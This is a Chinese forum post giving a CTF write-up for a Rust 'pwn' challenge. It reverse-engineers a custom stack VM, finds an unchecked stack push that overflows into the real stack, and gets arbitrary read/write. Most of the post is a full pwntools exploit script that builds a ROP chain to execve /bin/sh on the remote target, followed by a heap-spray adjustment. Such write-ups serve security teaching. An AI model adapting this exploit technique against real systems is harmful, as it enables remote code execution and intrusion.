首页
社区
课程
招聘
[原创] 第十题 陷入轮回 WP
2022-6-2 22:47 15291

[原创] 第十题 陷入轮回 WP

xym 活跃值
4
2022-6-2 22:47
15291

相比较平常的pwn题,这次题目的附件下载时间有点过长了些,不过看到第六道pwn的369的精致分,这次的100多分也对得起他的4M多的执行体了。题目虽然出的是pwn题,但核心看来还是在逆向部分,就连IDA的打开时间也长了许多。题目是rust语言编写的,看起来比较陌生,却号称是内存最安全的语言,感觉出题者具备很强的pwn基础,才能把这类题目玩这么溜。
第一次用ida打开rust程序,不知道从哪里看起,搜索字符串也没看到什么特殊的地方(ida对rust的字符串解析太弱了)。于是只能放到ubuntu里面执行一下试试,没想到除了开头显示一个字符串,对所有输入基本都没有反应,完全不知道程序想干什么。于是顺手搜索了一下题目的名字The_Mystery_of_Marie_Roget——玛丽·罗杰奇案,看来是部外语电影,但依然没有什么线索。
最后从程序的输入开始顺着栈往上追踪,最后发现来到std::io::BufRead::read_line::hfe23df61b51ffee1函数这里,看到所在的函数名vmvec::main::h1f88fe21e640590d,估计这才是rust真正的主函数。虽然每个函数后面都跟着很长的一串二进制,但基本看前半段就明白功能,后面估计只是区分该功能属于不同的类。
简单跟踪了几轮对输入的处理,大概了解了程序的逻辑。单独的符号$是一个特殊功能,单独的#是输入的结束标志,然后每一行作为一个语句会被alloc::vec::Vec$LT$T$C$A$GT$::push::hd994e0abfacd7f08压入一个栈当中。最开始还以为是rust的语法,学习了一会却发现不像。最后对输入下了硬件断点,才发现vmvec::start_vec::h1393dc29498ce194才是程序的主要逻辑。输入共有vec、adj、print、cal、cmd、jmp、je、switch_stack、halt几种语句(其中cmd迷惑了我很久,一直以为可以执行某种命令,最后才发现实现的是cmp功能)。vec定义变量;adj添加删除变量;print打印栈底或者变量;cal实现栈或者寄存器上的运算;cmd对栈上两个值进行比较,结果压入栈底;jmp和je跳转到其他代码段,其中je根据栈底的值决定是否跳转;switch_stack切换栈;halt打印结束语句然后exit。特别的,如果语句以//或者其他字符开头,则不会参与运算。
第一遍功能梳理基本没发现什么问题,第二遍对结构进行分析。输入语句和寄存器都是放在堆上的,栈定义了两个,都是在vmvec::start_vec函数的堆上。checksec发现该程序没有开启栈保护,说明这个程序的栈可能有点问题。重点研究作者设计的栈(为和真实的堆栈进行区分,后文称为模拟栈)后发现,该模拟栈设计的大小为64个8字节,且大部分情况下操作前都对栈指针进行了检查,除了reg_add_to_stack函数。只要反复调用该函数就可以一直覆盖真实的栈直到返回地址。当然,由于作者设计了两个模拟栈,而且两个模拟栈相连且随时可以切换,所以可以通过reg_add_to_stack函数修改下一个模拟栈的栈指针,然后通过switch_stack切换栈后使用print实现任意地址读,使用reg_add_to_stack函数实现任意地址写。
但开始利用时发现,虽然使用print可以实现任意地址读,而且栈、堆、程序基址都可以leak出来,但程序执行到这里后已经关闭了输入,而且重新调用main或者start函数都会出错退出,缺少了再次输入的机会。但幸好cal提供了读取和运算的功能,可以把对应的值读取后进行运算,然后写入到相应地址。这里通过修改vmvec::main函数的返回地址,构造rop实现syscall(当然如果上网方便的话也可以利用print探测出libc的版本然后写入onegadget)。
设置的rop链为:

1
2
3
4
5
6
7
8
9
10
11
12
13
index:0x240
0x5555555bb483 :pop rdi ret
rdi -> /bin/sh heap
ret -> 0x5555555bb481 pop rsi;pop r15;ret
rsi = 0
r15    0
ret ->0x0005555555AAD10    pop rax,ret
rax = 0x3B
//ret = 0x0005555555B84D6    pop rcx,ret
//rcx = 0
ret = 0x0005555555B84D3 mov     rdx, rcx;pop rcx;ret
rcx    0
ret -> 0x55555556B91C syscall

下面是本地测试成功的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
def makeInt(a):
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    sendCmd("vec int >>=0,"+str(a)+ ",1;")
    sendCmd("cal add stack_to_reg")
def test3(p):
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    makeInt(0x4c)
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (61) + "1,100,180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x4c
    sendCmd("switch_stack")
    sendCmd("print")
    sendCmd("cal add stack_to_reg") #get heap
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    makeInt(0x241)                  #make 0x241
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x241
    sendCmd("switch_stack")
 
    sendCmd("cal add stack_to_reg") #get ret addr 0x555555580b9b    [heap,0x555555580b9b]
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    sendCmd("cal add reg_to_stack") #set ret addr 0x555555580b9b
    sendCmd("vec int >>=239848;")
    sendCmd("cal add stack_to_reg") #set reg 0x555555580b9b
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg") #set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb483]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg") #[heap,0x555555580b9b,0x5555555bb483,0]
    makeInt(0x240)              #make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")     #[heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=239846;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb481]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x5555555bb481,0]
    makeInt(0x242# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=172405;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555AAD10]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x0005555555AAD10,0]
    makeInt(0x245# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    # 本来这里设置rcx,结果调试发现rcx已经是0了
    # sendCmd("switch_stack")
    # sendCmd("adj ab ab ext_vec")
    # sendCmd("vec int >>=0,0,1;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b, 0]
    # sendCmd("cal add reg_to_stack")  # [heap]
    # sendCmd("vec int >>=227643;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b]
    # sendCmd("vec int >>=0;")
    # sendCmd("cal add stack_to_reg")  # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D6]
    # sendCmd("vec int >>=0,0,1;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b,0x0005555555B84D6,0]
    # makeInt(0x247)  # make 0x240
    # sendCmd("adj ab ab ext_vec")
    # sendCmd("vec int >>=" + "1," * (63) + "180;")
    # sendCmd("cal add stack")
    # sendCmd("cal add reg_to_stack")  # set 0x240
    # sendCmd("switch_stack")
    # sendCmd("cal add reg_to_stack")  # [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=227640;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D3]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x0005555555B84D3,0]
    makeInt(0x247# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=86655;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal sub stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x005555555A4172]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x005555555A4172,0]
    makeInt(0x249# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
    #sendCmd("cal add stack_to_reg")  # get ret addr 0x555555580b9b
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
 
    #gdb.attach(p, "b* 0x000555555578862\nb* 0x0000555555585E9B")
 
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0]
    makeInt(0x244)
    makeInt(0)
    makeInt(0x243)
    makeInt(0x3b)
    makeInt(0x246)
    makeInt(0)
    makeInt(0x248)
    #makeInt(0)
    #makeInt(0x24A)
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x248
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0
    #
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# set 0x246
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0x3b
 
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# set 0x243
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0
 
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# set 0x244
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0x555555580b9b
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,15335,1;")
    sendCmd("cal sub stack_to_reg"# [heap,0]
    makeInt(0x241)
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x248
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# heap
 
    # sendCmd("switch_stack")
    # sendCmd("adj ac ac ext_vec")
    # makeInt(0)
    # makeInt(0x248)
    #sendCmd("adj ac ac ext_vec")
    #sendCmd("vec int >>=" + "1," * (63 - 2 * 6) + "180;")
    #sendCmd("cal add stack")
    #sendCmd("cal add reg_to_stack")  # set 0x248
    #sendCmd("switch_stack")
    #sendCmd("cal add reg_to_stack")  # 0x0
 
    #sendCmd("cal add reg_to_stack")  # set rdi
    #sendCmd("switch_stack")
    #sendCmd("cal add reg_to_stack")  # set 0x241
    #sendCmd("switch_stack")
 
    sendCmd("$")
    sendCmd("$")
    sendCmd("adj ab /bin/sh\x00")
    sendCmd("#")
 
    p.recvline()
    print(hex(int(p.recvline())))
    p.interactive()
def exp(p):
    p.recvuntil("Now,tell me your answer.\n")
    return test3(p)
def main():
    global p
    p = remote(ip, port)
    #p = process(pwn, env = {"RUST_BACKTRACE":"full"})
    exp(p)
 
main()

但实际攻击时发现一直不成功,估计是libc版本或者是调试状态等某些因素导致了最后一句"adj ab /bin/sh\x00"的地址不固定,调用/bin/sh失败。因此最终实现时增加了sendCmd("////////"+"/bin/sh\x00"*0x100)对堆进行了布置。


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-6-2 22:49 被xym编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回